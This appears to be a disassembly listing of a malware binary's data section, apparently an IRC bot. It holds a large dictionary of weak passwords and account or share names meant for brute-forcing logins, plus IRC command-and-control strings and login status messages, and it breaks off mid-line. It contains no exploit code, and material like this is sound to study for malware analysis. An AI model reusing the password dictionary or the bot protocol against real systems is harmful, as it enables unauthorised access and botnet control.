aCerulean db 'cerulean',0 ; DATA XREF: seg001:0042C9ECo align 10h aCeltics db 'celtics',0 ; DATA XREF: seg001:0042C9E8o aCeltic db 'celtic',0 ; DATA XREF: seg001:0042C9E4o align 10h aCelt db 'celt',0 ; DATA XREF: seg001:0042C9E0o align 4 aCecily db 'cecily',0 ; DATA XREF: seg001:0042C9DCo align 10h aCayuga db 'cayuga',0 ; DATA XREF: seg001:0042C9D8o align 4 aCave db 'cave',0 ; DATA XREF: seg001:0042C9D4o align 10h aCathy db 'cathy',0 ; DATA XREF: seg001:0042C9D0o align 4 aCatholic db 'catholic',0 ; DATA XREF: seg001:0042C9CCo align 4 aCatherin db 'catherin',0 ; DATA XREF: seg001:0042C9C8o align 10h aCastle db 'castle',0 ; DATA XREF: seg001:0042C9C4o align 4 aCash db 'cash',0 ; DATA XREF: seg001:0042C9C0o align 10h aCascades db 'cascades',0 ; DATA XREF: seg001:0042C9BCo align 4 aCarson db 'carson',0 ; DATA XREF: seg001:0042C9B8o align 4 aCarrie db 'carrie',0 ; DATA XREF: seg001:0042C9B4o align 4 aCaroline db 'caroline',0 ; DATA XREF: seg001:0042C9B0o align 4 aCarolina db 'carolina',0 ; DATA XREF: seg001:0042C9ACo align 4 aCarole db 'carole',0 ; DATA XREF: seg001:0042C9A8o align 4 aCarol db 'carol',0 ; DATA XREF: seg001:0042C9A4o align 4 aCarmen db 'carmen',0 ; DATA XREF: seg001:0042C9A0o align 4 aCarla db 'carla',0 ; DATA XREF: seg001:0042C99Co align 4 aCaren db 'caren',0 ; DATA XREF: seg001:0042C998o align 4 aCardinal db 'cardinal',0 ; DATA XREF: seg001:0042C994o align 4 aCard db 'card',0 ; DATA XREF: seg001:0042C990o align 10h aCapture db 'capture',0 ; DATA XREF: seg001:0042C98Co aCaptain db 'captain',0 ; DATA XREF: seg001:0042C988o aCantor db 'cantor',0 ; DATA XREF: seg001:0042C984o align 4 aCandy db 'candy',0 ; DATA XREF: seg001:0042C980o align 10h aCandi db 'candi',0 ; DATA XREF: seg001:0042C97Co align 4 aCamping db 'camping',0 ; DATA XREF: seg001:0042C978o aCampanil db 'campanil',0 ; DATA XREF: seg001:0042C974o align 4 aCamille db 'camille',0 ; DATA XREF: seg001:0042C970o aCaliforn db 'californ',0 ; DATA XREF: seg001:0042C96Co align 10h aButthead db 'butthead',0 ; DATA XREF: seg001:0042C968o align 4 aButt db 'butt',0 ; DATA XREF: seg001:0042C964o align 4 aButch db 'butch',0 ; DATA XREF: seg001:0042C960o align 4 aBurn db 'burn',0 ; DATA XREF: seg001:0042C95Co align 4 aBurgess db 'burgess',0 ; DATA XREF: seg001:0042C958o aBung db 'bung',0 ; DATA XREF: seg001:0042C954o align 4 aBumbling db 'bumbling',0 ; DATA XREF: seg001:0042C950o align 10h aBullshit db 'bullshit',0 ; DATA XREF: seg001:0042C94Co align 4 aBulls db 'bulls',0 ; DATA XREF: seg001:0042C948o align 4 aBrutefor db 'brutefor',0 ; DATA XREF: seg001:0042C944o align 10h aBrute db 'brute',0 ; DATA XREF: seg001:0042C940o align 4 aBrunette db 'brunette',0 ; DATA XREF: seg001:0042C93Co align 4 aBrothel db 'brothel',0 ; DATA XREF: seg001:0042C938o aBroadway db 'broadway',0 ; DATA XREF: seg001:0042C934o align 4 aBridget db 'bridget',0 ; DATA XREF: seg001:0042C930o aBrian db 'brian',0 ; DATA XREF: seg001:0042C92Co align 4 aBrenda db 'brenda',0 ; DATA XREF: seg001:0042C928o align 10h aBreast db 'breast',0 ; DATA XREF: seg001:0042C924o align 4 aBreak db 'break',0 ; DATA XREF: seg001:0042C920o align 10h aBravo db 'bravo',0 ; DATA XREF: seg001:0042C91Co align 4 aBrandy db 'brandy',0 ; DATA XREF: seg001:0042C918o align 10h aBrandi db 'brandi',0 ; DATA XREF: seg001:0042C914o align 4 aBradley db 'bradley',0 ; DATA XREF: seg001:0042C910o aBoyscout db 'boyscout',0 ; DATA XREF: seg001:0042C90Co align 4 aBorn db 'born',0 ; DATA XREF: seg001:0042C908o align 4 aBook db 'book',0 ; DATA XREF: seg001:0042C904o align 4 aBoobs db 'boobs',0 ; DATA XREF: seg001:0042C900o align 4 aBoob db 'boob',0 ; DATA XREF: seg001:0042C8FCo align 4 aBoner db 'boner',0 ; DATA XREF: seg001:0042C8F8o align 4 aBomb db 'bomb',0 ; DATA XREF: seg001:0042C8F4o align 4 aBoard db 'board',0 ; DATA XREF: seg001:0042C8F0o align 4 aBlues db 'blues',0 ; DATA XREF: seg001:0042C8ECo align 4 aBlue db 'blue',0 ; DATA XREF: seg001:0042C8E8o align 4 aBlowjob db 'blowjob',0 ; DATA XREF: seg001:0042C8E4o aBlow db 'blow',0 ; DATA XREF: seg001:0042C8E0o align 4 aBloodaxe db 'bloodaxe',0 ; DATA XREF: seg001:0042C8DCo align 10h aBlood db 'blood',0 ; DATA XREF: seg001:0042C8D8o align 4 aBlondie db 'blondie',0 ; DATA XREF: seg001:0042C8D4o aBlonde db 'blonde',0 ; DATA XREF: seg001:0042C8D0o align 4 aBlack db 'black',0 ; DATA XREF: seg001:0042C8CCo align 10h aBitnet db 'bitnet',0 ; DATA XREF: seg001:0042C8C8o align 4 aBitmap db 'bitmap',0 ; DATA XREF: seg001:0042C8C4o align 10h aBitch db 'bitch',0 ; DATA XREF: seg001:0042C8C0o align 4 aBishop db 'bishop',0 ; DATA XREF: seg001:0042C8BCo align 10h aBird db 'bird',0 ; DATA XREF: seg001:0042C8B8o align 4 aBios db 'bios',0 ; DATA XREF: seg001:0042C8B4o align 10h aBinary db 'binary',0 ; DATA XREF: seg001:0042C8B0o align 4 aBill db 'bill',0 ; DATA XREF: seg001:0042C8ACo align 10h aBigfoot db 'bigfoot',0 ; DATA XREF: seg001:0042C8A8o aBicamera db 'bicamera',0 ; DATA XREF: seg001:0042C8A4o align 4 aBible db 'bible',0 ; DATA XREF: seg001:0042C8A0o align 4 aBeverly db 'beverly',0 ; DATA XREF: seg001:0042C89Co aBetty db 'betty',0 ; DATA XREF: seg001:0042C898o align 4 aBetsie db 'betsie',0 ; DATA XREF: seg001:0042C894o align 4 aBeth db 'beth',0 ; DATA XREF: seg001:0042C890o align 4 aBeta db 'beta',0 ; DATA XREF: seg001:0042C88Co align 4 aBeryl db 'beryl',0 ; DATA XREF: seg001:0042C888o align 4 aBerliner db 'berliner',0 ; DATA XREF: seg001:0042C884o align 4 aBerlin db 'berlin',0 ; DATA XREF: seg001:0042C880o align 10h aBerkeley db 'berkeley',0 ; DATA XREF: seg001:0042C87Co align 4 aBeowulf db 'beowulf',0 ; DATA XREF: seg001:0042C878o aBenz db 'benz',0 ; DATA XREF: seg001:0042C874o align 4 aBeloved db 'beloved',0 ; DATA XREF: seg001:0042C870o aBell db 'bell',0 ; DATA XREF: seg001:0042C86Co align 4 aBehead db 'behead',0 ; DATA XREF: seg001:0042C868o align 4 aBegin db 'begin',0 ; DATA XREF: seg001:0042C864o align 4 aBeethove db 'beethove',0 ; DATA XREF: seg001:0042C860o align 4 aBecky db 'becky',0 ; DATA XREF: seg001:0042C85Co align 10h aBeaver db 'beaver',0 ; DATA XREF: seg001:0042C858o align 4 aBeauty db 'beauty',0 ; DATA XREF: seg001:0042C854o align 10h aBeater db 'beater',0 ; DATA XREF: seg001:0042C850o align 4 aBeast db 'beast',0 ; DATA XREF: seg001:0042C84Co align 10h aBear db 'bear',0 ; DATA XREF: seg001:0042C848o align 4 aBeammeup db 'beammeup',0 ; DATA XREF: seg001:0042C844o align 4 aBeach db 'beach',0 ; DATA XREF: seg001:0042C840o align 4 aBatman db 'batman',0 ; DATA XREF: seg001:0042C83Co align 4 aBatch db 'batch',0 ; DATA XREF: seg001:0042C838o align 4 aBassoon db 'bassoon',0 ; DATA XREF: seg001:0042C834o aBass db 'bass',0 ; DATA XREF: seg001:0042C830o align 4 aBasic db 'basic',0 ; DATA XREF: seg001:0042C82Co align 4 aBaseball db 'baseball',0 ; DATA XREF: seg001:0042C828o align 10h aBartman db 'bartman',0 ; DATA XREF: seg001:0042C824o aBart db 'bart',0 ; DATA XREF: seg001:0042C820o align 10h aBaritone db 'baritone',0 ; DATA XREF: seg001:0042C81Co align 4 aBarf db 'barf',0 ; DATA XREF: seg001:0042C818o align 4 aBare db 'bare',0 ; DATA XREF: seg001:0042C814o align 4 aBarber db 'barber',0 ; DATA XREF: seg001:0042C810o align 4 aBarbara db 'barbara',0 ; DATA XREF: seg001:0042C80Co aBanks db 'banks',0 ; DATA XREF: seg001:0042C808o align 4 aBank db 'bank',0 ; DATA XREF: seg001:0042C804o align 4 aBandit db 'bandit',0 ; DATA XREF: seg001:0042C800o align 4 aBananas db 'bananas',0 ; DATA XREF: seg001:0042C7FCo aBanana db 'banana',0 ; DATA XREF: seg001:0042C7F8o align 4 aBall db 'ball',0 ; DATA XREF: seg001:0042C7F4o align 4 aBailey db 'bailey',0 ; DATA XREF: seg001:0042C7F0o align 4 aBadass db 'badass',0 ; DATA XREF: seg001:0042C7ECo align 4 aBackdoor db 'backdoor',0 ; DATA XREF: seg001:0042C7E8o align 4 aBacchus db 'bacchus',0 ; DATA XREF: seg001:0042C7E4o aBaby db 'baby',0 ; DATA XREF: seg001:0042C7E0o align 4 aBabe db 'babe',0 ; DATA XREF: seg001:0042C7DCo align 10h aAzure db 'azure',0 ; DATA XREF: seg001:0042C7D8o align 4 aAztecs db 'aztecs',0 ; DATA XREF: seg001:0042C7D4o align 10h aAuthoriz db 'authoriz',0 ; DATA XREF: seg001:0042C7D0o align 4 aAttack db 'attack',0 ; DATA XREF: seg001:0042C7CCo align 4 aAtom db 'atom',0 ; DATA XREF: seg001:0042C7C8o align 4 aAtmosphe db 'atmosphe',0 ; DATA XREF: seg001:0042C7C4o align 4 aAthena db 'athena',0 ; DATA XREF: seg001:0042C7C0o align 10h aAsshole db 'asshole',0 ; DATA XREF: seg001:0042C7BCo aAsian db 'asian',0 ; DATA XREF: seg001:0042C7B8o align 10h aArtist db 'artist',0 ; DATA XREF: seg001:0042C7B4o align 4 aArthur db 'arthur',0 ; DATA XREF: seg001:0042C7B0o align 10h aArrow db 'arrow',0 ; DATA XREF: seg001:0042C7ACo align 4 aArmy db 'army',0 ; DATA XREF: seg001:0042C7A8o align 10h aArlene db 'arlene',0 ; DATA XREF: seg001:0042C7A4o align 4 aAriadne db 'ariadne',0 ; DATA XREF: seg001:0042C7A0o aAria db 'aria',0 ; DATA XREF: seg001:0042C79Co align 4 aApril db 'april',0 ; DATA XREF: seg001:0042C798o align 10h aApollo13 db 'apollo13',0 ; DATA XREF: seg001:0042C794o align 4 aAnything db 'anything',0 ; DATA XREF: seg001:0042C790o align 4 aAnvils db 'anvils',0 ; DATA XREF: seg001:0042C78Co align 10h aAnthropo db 'anthropo',0 ; DATA XREF: seg001:0042C788o align 4 aAnthrax db 'anthrax',0 ; DATA XREF: seg001:0042C784o aAnswer db 'answer',0 ; DATA XREF: seg001:0042C780o align 4 aAnonymou db 'anonymou',0 ; DATA XREF: seg001:0042C77Co align 4 aAnon db 'anon',0 ; DATA XREF: seg001:0042C778o align 10h aAnnette db 'annette',0 ; DATA XREF: seg001:0042C774o aAnne db 'anne',0 ; DATA XREF: seg001:0042C770o align 10h aAnna db 'anna',0 ; DATA XREF: seg001:0042C76Co align 4 aAnita db 'anita',0 ; DATA XREF: seg001:0042C768o align 10h aAnimals db 'animals',0 ; DATA XREF: seg001:0042C764o aAnimal db 'animal',0 ; DATA XREF: seg001:0042C760o align 10h aAngie db 'angie',0 ; DATA XREF: seg001:0042C75Co align 4 aAngerine db 'angerine',0 ; DATA XREF: seg001:0042C758o align 4 aAngela db 'angela',0 ; DATA XREF: seg001:0042C754o align 4 aAnfo db 'anfo',0 ; DATA XREF: seg001:0042C750o align 4 aAndy db 'andy',0 ; DATA XREF: seg001:0042C74Co align 4 aAndromac db 'andromac',0 ; DATA XREF: seg001:0042C748o align 4 aAndroid db 'android',0 ; DATA XREF: seg001:0042C744o aAndrea db 'andrea',0 ; DATA XREF: seg001:0042C740o align 4 aAnchor db 'anchor',0 ; DATA XREF: seg001:0042C73Co align 10h aAnarchy db 'anarchy',0 ; DATA XREF: seg001:0042C738o aAnarchis db 'anarchis',0 ; DATA XREF: seg001:0042C734o align 4 aAnalog db 'analog',0 ; DATA XREF: seg001:0042C730o align 4 aAnal db 'anal',0 ; DATA XREF: seg001:0042C72Co align 4 aAmorphou db 'amorphou',0 ; DATA XREF: seg001:0042C728o align 10h aAmerica db 'america',0 ; DATA XREF: seg001:0042C724o aAmber db 'amber',0 ; DATA XREF: seg001:0042C720o align 10h aAmanda db 'amanda',0 ; DATA XREF: seg001:0042C71Co align 4 aAmadeus db 'amadeus',0 ; DATA XREF: seg001:0042C718o aAlphabet db 'alphabet',0 ; DATA XREF: seg001:0042C714o align 4 aAllow db 'allow',0 ; DATA XREF: seg001:0042C710o align 4 aAllison db 'allison',0 ; DATA XREF: seg001:0042C70Co aAlison db 'alison',0 ; DATA XREF: seg001:0042C708o align 4 aAlisa db 'alisa',0 ; DATA XREF: seg001:0042C704o align 4 aAlicia db 'alicia',0 ; DATA XREF: seg001:0042C700o align 4 aAlice db 'alice',0 ; DATA XREF: seg001:0042C6FCo align 4 aAliases db 'aliases',0 ; DATA XREF: seg001:0042C6F8o aAlias db 'alias',0 ; DATA XREF: seg001:0042C6F4o align 4 aAlgebra db 'algebra',0 ; DATA XREF: seg001:0042C6F0o aAlexande db 'alexande',0 ; DATA XREF: seg001:0042C6ECo align 10h aAlex db 'alex',0 ; DATA XREF: seg001:0042C6E8o align 4 aAlert db 'alert',0 ; DATA XREF: seg001:0042C6E4o align 10h aAlbert db 'albert',0 ; DATA XREF: seg001:0042C6E0o align 4 aAlbatros db 'albatros',0 ; DATA XREF: seg001:0042C6DCo align 4 aAlbany db 'albany',0 ; DATA XREF: seg001:0042C6D8o align 4 aAlaska db 'alaska',0 ; DATA XREF: seg001:0042C6D4o align 4 aAirplane db 'airplane',0 ; DATA XREF: seg001:0042C6D0o align 10h aAids db 'aids',0 ; DATA XREF: seg001:0042C6CCo align 4 aAerobics db 'aerobics',0 ; DATA XREF: seg001:0042C6C8o align 4 aAdult db 'adult',0 ; DATA XREF: seg001:0042C6C4o align 4 aAdrianna db 'adrianna',0 ; DATA XREF: seg001:0042C6C0o align 4 aAdrian db 'adrian',0 ; DATA XREF: seg001:0042C6BCo align 10h aAdam db 'adam',0 ; DATA XREF: seg001:0042C6B8o align 4 aAction db 'action',0 ; DATA XREF: seg001:0042C6B4o align 10h aAccount db 'account',0 ; DATA XREF: seg001:0042C6B0o aAcademic db 'academic',0 ; DATA XREF: seg001:0042C6A8o align 4 aAcademia db 'academia',0 ; DATA XREF: seg001:0042C6A4o align 10h a000000 db '000000',0 ; DATA XREF: seg001:0042C6A0o ; seg001:0042E0B8o align 4 a00000 db '00000',0 ; DATA XREF: seg001:0042C69Co ; seg001:0042E0B4o align 10h a0000 db '0000',0 ; DATA XREF: seg001:0042C698o ; seg001:0042E0B0o align 4 a000 db '000',0 ; DATA XREF: seg001:0042C694o ; seg001:0042E0ACo aTesting db 'testing',0 ; DATA XREF: seg001:0042C690o aDeath db 'death',0 ; DATA XREF: seg001:0042C68Co align 4 a00 db '00',0 ; DATA XREF: seg001:0042C688o ; seg001:0042E0A8o align 10h aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: seg001:0042C680o ; seg001:0042E4F8o align 4 aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: seg001:0042C67Co ; seg001:0042E4F4o align 4 aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: seg001:0042C678o ; seg001:0042E4F0o aXxxxxx db 'xxxxxx',0 ; DATA XREF: seg001:0042C674o ; seg001:0042E4ECo align 4 aXxxxx db 'xxxxx',0 ; DATA XREF: seg001:0042C670o ; seg001:0042E4E8o align 10h aXxxx db 'xxxx',0 ; DATA XREF: seg001:0042C66Co ; seg001:0042E4E4o align 4 aXxx db 'xxx',0 ; DATA XREF: seg001:0042C668o ; seg001:0042E4E0o aXx db 'xx',0 ; DATA XREF: seg001:0042C664o ; seg001:0042E4DCo align 10h asc_432D30: ; DATA XREF: seg001:0042C660o ; seg001:0042E4D8o unicode 0, <x>,0 aGuessme db 'guessme',0 ; DATA XREF: seg001:0042C65Co aYouwontguessme db 'youwontguessme',0 ; DATA XREF: seg001:0042C658o align 4 aUwontguessme db 'uwontguessme',0 ; DATA XREF: seg001:0042C654o align 4 aMirc_0 db 'mirc',0 ; DATA XREF: seg001:0042C650o align 4 aKiddie db 'kiddie',0 ; DATA XREF: seg001:0042C64Co align 4 aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: seg001:0042C648o align 4 aScript db 'script',0 ; DATA XREF: seg001:0042C644o align 4 aHax0r db 'hax0r',0 ; DATA XREF: seg001:0042C640o align 4 aHacker db 'hacker',0 ; DATA XREF: seg001:0042C63Co align 4 aL337 db 'l337',0 ; DATA XREF: seg001:0042C638o align 4 aL33t db 'l33t',0 ; DATA XREF: seg001:0042C634o align 4 aLeet db 'leet',0 ; DATA XREF: seg001:0042C630o align 4 aKiller db 'killer',0 ; DATA XREF: seg001:0042C62Co align 4 a0wn3d db '0wn3d',0 ; DATA XREF: seg001:0042C628o ; seg001:0042E114o align 4 aW00t db 'w00t',0 ; DATA XREF: seg001:0042C624o align 4 aHeaven db 'heaven',0 ; DATA XREF: seg001:0042C620o align 4 aSpaceman db 'spaceman',0 ; DATA XREF: seg001:0042C61Co align 4 aSatanic db 'satanic',0 ; DATA XREF: seg001:0042C618o aSatanik db 'satanik',0 ; DATA XREF: seg001:0042C614o aSatan db 'satan',0 ; DATA XREF: seg001:0042C610o align 10h aGobo db 'gobo',0 ; DATA XREF: seg001:0042C60Co align 4 aMatthew db 'Matthew',0 ; DATA XREF: seg001:0042C608o aMatt db 'Matt',0 ; DATA XREF: seg001:0042C604o align 4 aMat db 'Mat',0 ; DATA XREF: seg001:0042C600o aPw db 'pw',0 ; DATA XREF: seg001:0042C5FCo align 10h aMypass123 db 'mypass123',0 ; DATA XREF: seg001:0042C5F8o align 4 aMypass db 'mypass',0 ; DATA XREF: seg001:0042C5F4o align 4 aPw123 db 'pw123',0 ; DATA XREF: seg001:0042C5F0o align 4 aAdmin123 db 'admin123',0 ; DATA XREF: seg001:0042C5ECo align 4 aMypc123 db 'mypc123',0 ; DATA XREF: seg001:0042C5E8o aMypc db 'mypc',0 ; DATA XREF: seg001:0042C5E4o align 4 aLove db 'love',0 ; DATA XREF: seg001:0042C5E0o align 10h aPwd db 'pwd',0 ; DATA XREF: seg001:0042C5DCo aLogin db 'login',0 ; DATA XREF: seg001:0042C5D8o align 4 aHome db 'home',0 ; DATA XREF: seg001:0042C5D4o align 4 aZxcv db 'zxcv',0 ; DATA XREF: seg001:0042C5D0o ; seg001:0042E518o align 4 aYxcv db 'yxcv',0 ; DATA XREF: seg001:0042C5CCo align 4 aQwer db 'qwer',0 ; DATA XREF: seg001:0042C5C8o ; seg001:0042E484o align 4 aSecret db 'secret',0 ; DATA XREF: seg001:0042C5C4o align 4 aAsdf db 'asdf',0 ; DATA XREF: seg001:0042C5C0o ; seg001:0042E530o align 4 aPc db 'pc',0 ; DATA XREF: seg001:0042C5BCo align 10h aWin db 'win',0 ; DATA XREF: seg001:0042C5B8o aTest123 db 'test123',0 ; DATA XREF: seg001:0042C5B4o aAbc db 'abc',0 ; DATA XREF: seg001:0042C5B0o aAaa db 'aaa',0 ; DATA XREF: seg001:0042C5ACo ; seg001:0042E458o aA_2: ; DATA XREF: seg001:0042C5A8o ; seg001:0042E450o unicode 0, <a>,0 aCrash db 'crash',0 ; DATA XREF: seg001:0042C5A4o align 10h aFucked db 'fucked',0 ; DATA XREF: seg001:0042C5A0o align 4 aNetfuck db 'netfuck',0 ; DATA XREF: seg001:0042C59Co aIrule db 'irule',0 ; DATA XREF: seg001:0042C598o align 4 aOwned db 'owned',0 ; DATA XREF: seg001:0042C594o align 10h a0wned db '0wned',0 ; DATA XREF: seg001:0042C590o ; seg001:0042E118o align 4 aNetDevil db 'net-devil',0 ; DATA XREF: seg001:0042C58Co align 4 aNetdevil db 'netdevil',0 ; DATA XREF: seg001:0042C588o align 10h aDevil db 'devil',0 ; DATA XREF: seg001:0042C584o align 4 aNilez db 'Nilez',0 ; DATA XREF: seg001:0042C580o align 10h aFoobar db 'foobar',0 ; DATA XREF: seg001:0042C57Co align 4 aGod db 'god',0 ; DATA XREF: seg001:0042C578o aSex_0 db 'sex',0 ; DATA XREF: seg001:0042C574o aPat db 'pat',0 ; DATA XREF: seg001:0042C570o aPatrick db 'patrick',0 ; DATA XREF: seg001:0042C56Co aAlpha db 'alpha',0 ; DATA XREF: seg001:0042C568o align 4 a007 db '007',0 ; DATA XREF: seg001:0042C564o ; seg001:0042E104o a123abc db '123abc',0 ; DATA XREF: seg001:0042C560o ; seg001:0042E314o align 10h a1234qwer db '1234qwer',0 ; DATA XREF: seg001:0042C55Co ; seg001:0042E320o align 4 a123123 db '123123',0 ; DATA XREF: seg001:0042C558o ; seg001:0042E2C0o align 4 a121212 db '121212',0 ; DATA XREF: seg001:0042C554o ; seg001:0042E2B8o align 4 a111111 db '111111',0 ; DATA XREF: seg001:0042C550o ; seg001:0042E130o align 4 a110 db '110',0 ; DATA XREF: seg001:0042C54Co ; seg001:0042E284o a2600 db '2600',0 ; DATA XREF: seg001:0042C548o ; seg001:0042E40Co align 10h a2002 db '2002',0 ; DATA XREF: seg001:0042C540o ; seg001:0042E3F8o align 4 aXp_0 db 'xp',0 ; DATA XREF: seg001:0042C53Co align 4 aEnable db 'enable',0 ; DATA XREF: seg001:0042C538o align 4 aGodblessyou db 'godblessyou',0 ; DATA XREF: seg001:0042C534o aIhavenopass db 'ihavenopass',0 ; DATA XREF: seg001:0042C530o a123asd db '123asd',0 ; DATA XREF: seg001:0042C52Co ; seg001:0042E318o align 4 aSuper db 'super',0 ; DATA XREF: seg001:0042C528o align 4 aInternet db 'Internet',0 ; DATA XREF: seg001:0042C524o align 4 a123qwe db '123qwe',0 ; DATA XREF: seg001:0042C51Co ; seg001:0042E31Co align 10h aSybase db 'sybase',0 ; DATA XREF: seg001:0042C518o align 4 aAbc123 db 'abc123',0 ; DATA XREF: seg001:0042C510o align 10h aAbcd db 'abcd',0 ; DATA XREF: seg001:0042C50Co align 4 aPasswd db 'passwd',0 ; DATA XREF: seg001:0042C504o align 10h aPass_0 db 'pass',0 ; DATA XREF: seg001:0042C500o align 4 a88888888 db '88888888',0 ; DATA XREF: seg001:0042C4FCo ; seg001:0042E250o align 4 a11111111 db '11111111',0 ; DATA XREF: seg001:0042C4F8o ; seg001:0042E138o align 10h a111 db '111',0 ; DATA XREF: seg001:0042C4F4o ; seg001:0042E124o a54321 db '54321',0 ; DATA XREF: seg001:0042C4F0o ; seg001:0042E418o align 4 a654321 db '654321',0 ; DATA XREF: seg001:0042C4ECo ; seg001:0042E41Co align 4 a123456789 db '123456789',0 ; DATA XREF: seg001:0042C4E8o ; seg001:0042E2D8o align 10h a12345678 db '12345678',0 ; DATA XREF: seg001:0042C4E4o ; seg001:0042E2D4o align 4 a1234567 db '1234567',0 ; DATA XREF: seg001:0042C4E0o ; seg001:0042E2D0o a123456 db '123456',0 ; DATA XREF: seg001:0042C4DCo ; seg001:0042E2CCo align 4 a12345 db '12345',0 ; DATA XREF: seg001:0042C4D8o ; seg001:0042E2C8o align 4 a1234 db '1234',0 ; DATA XREF: seg001:0042C4D4o ; seg001:0042E2C4o align 4 a123 db '123',0 ; DATA XREF: seg001:0042C4D0o ; seg001:0042E2BCo a12 db '12',0 ; DATA XREF: seg001:0042C4CCo ; seg001:0042E2B0o align 4 a1: ; DATA XREF: seg001:0042C4C8o ; seg001:0042E11Co unicode 0, <1>,0 aTemp123 db 'temp123',0 ; DATA XREF: seg001:0042C4C4o aChangeme_0 db 'Changeme',0 ; DATA XREF: seg001:0042C4C0o align 4 aChangeme db 'changeme',0 ; DATA XREF: seg001:0042C4BCo align 4 aLinux db 'linux',0 ; DATA XREF: seg001:0042C4B8o align 10h aUnix db 'unix',0 ; DATA XREF: seg001:0042C4B4o align 4 aLocal db 'LOCAL',0 ; DATA XREF: seg001:0042C4B0o align 10h aPepsi db 'pepsi',0 ; DATA XREF: seg001:0042C4ACo align 4 aServer_1 db 'SERVER',0 ; DATA XREF: seg001:0042C4A8o ; seg001:0042E868o align 10h aSystem_0 db 'SYSTEM',0 ; DATA XREF: seg001:0042C4A4o ; seg001:0042E4B8o ... align 4 aBackup db 'BACKUP',0 ; DATA XREF: seg001:0042C4A0o ; seg001:0042E860o align 10h aAccess db 'ACCESS',0 ; DATA XREF: seg001:0042C498o ; seg001:0042E858o align 4 aTest db 'TEST',0 ; DATA XREF: seg001:0042C494o ; seg001:0042E854o align 10h aEdu db 'edu',0 ; DATA XREF: seg001:0042C490o ; seg001:0042E850o aOwner_1 db 'Owner',0 ; DATA XREF: seg001:0042C48Co ; seg001:0042E84Co align 4 aOwner_0 db 'OWNER',0 ; DATA XREF: seg001:0042C488o ; seg001:0042E848o align 4 aDemo db 'DEMO',0 ; DATA XREF: seg001:0042C484o ; seg001:0042E844o align 4 aFiles db 'FILES',0 ; DATA XREF: seg001:0042C480o ; seg001:0042E840o align 4 aRead db 'READ',0 ; DATA XREF: seg001:0042C47Co ; seg001:0042E83Co align 4 aBoth db 'BOTH',0 ; DATA XREF: seg001:0042C478o ; seg001:0042E838o align 4 aLadeda db 'ladeda',0 ; DATA XREF: seg001:0042C474o ; seg001:0042E834o align 4 aFull_0 db 'FULL',0 ; DATA XREF: seg001:0042C470o ; seg001:0042E830o align 4 aWrite db 'WRITE',0 ; DATA XREF: seg001:0042C46Co ; seg001:0042E82Co align 4 aShare_0 db 'SHARE',0 ; DATA XREF: seg001:0042C468o ; seg001:0042E828o align 4 aTemp db 'TEMP',0 ; DATA XREF: seg001:0042C464o ; seg001:0042E824o align 4 aPassword db 'PASSWORD',0 ; DATA XREF: seg001:0042C460o ; seg001:0042E820o align 4 aAdmin_0 db 'ADMIN',0 ; DATA XREF: seg001:0042C45Co ; seg001:0042E81Co align 10h aRoot_0 db 'ROOT',0 ; DATA XREF: seg001:0042C454o ; seg001:0042E814o align 4 aGuest_1 db 'GUEST',0 ; DATA XREF: seg001:0042C450o ; seg001:0042E810o align 10h aBla db 'bla',0 ; DATA XREF: seg001:0042C44Co ; seg001:0042E80Co aFubar db 'fubar',0 ; DATA XREF: seg001:0042C448o ; seg001:0042E808o align 4 aAdministrato_1 db 'ADMINISTRATOR',0 ; DATA XREF: seg001:0042C43Co ; seg001:0042E7FCo align 4 aDb2 db 'db2',0 ; DATA XREF: seg001:0042C42Co aOracle db 'oracle',0 ; DATA XREF: seg001:0042C428o ; seg001:0042C514o align 4 aDba db 'dba',0 ; DATA XREF: seg001:0042C424o aDatabase db 'database',0 ; DATA XREF: seg001:0042C420o ; seg001:0042C508o align 4 aDefault db 'default',0 ; DATA XREF: seg001:0042C41Co ; seg001:0042CBA8o aGuest_0 db 'guest',0 ; DATA XREF: seg001:0042C418o align 4 aWwwadmin db 'wwwadmin',0 ; DATA XREF: seg001:0042C414o align 4 aTeacher db 'teacher',0 ; DATA XREF: seg001:0042C410o ; seg001:0042DB3Co aStudent db 'student',0 ; DATA XREF: seg001:0042C40Co ; seg001:0042DA84o aOwner db 'owner',0 ; DATA XREF: seg001:0042C408o align 4 aComputer db 'computer',0 ; DATA XREF: seg001:0042C404o ; seg001:0042C520o align 4 aStaff db 'staff',0 ; DATA XREF: seg001:0042C3FCo align 10h aAdmins db 'admins',0 ; DATA XREF: seg001:0042C3F4o align 4 aAdministrat db 'administrat',0 ; DATA XREF: seg001:0042C3F0o aAdministrateur db 'administrateur',0 ; DATA XREF: seg001:0042C3ECo align 4 aAdministrador db 'administrador',0 ; DATA XREF: seg001:0042C3E8o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: seg001:0042C3E4o ; seg001:0042C444o ... align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_4134AF:loc_4135BAo ; seg001:0042C3E0o ... align 4 aMirc1_6_99 db 'mirc 1.6.99',0 ; DATA XREF: seg001:off_42C330o a@room db '*@room',0 ; DATA XREF: seg001:off_42C32Co align 4 dword_433218 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40C574+34Do dd 2029206Ch, 2BBBB02h, 6F422020h, 74732074h, 65747261h dd 2E64h dword_433244 dd 25207325h, 25222064h, 2273hdword_433250 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CA58+F2o dd 2029206Ch, 2BBBB02h aConnectedToS_ db ' Connected to %s.',0 align 10h aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40CBBE+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40CBBE+35o align 4 aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+5C7Do align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+5C68o align 4 dword_4332C8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+5C54o dd 2029206Ch, 2BBBB02h aUserSLoggedIn_ db ' User: %s logged in.',0 align 4 dword_4332FC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CD3A+5C37o dd 2029206Ch, 2BBBB02h aPasswordAccept db ' Password accepted.',0 align 10h dword_433330 dd 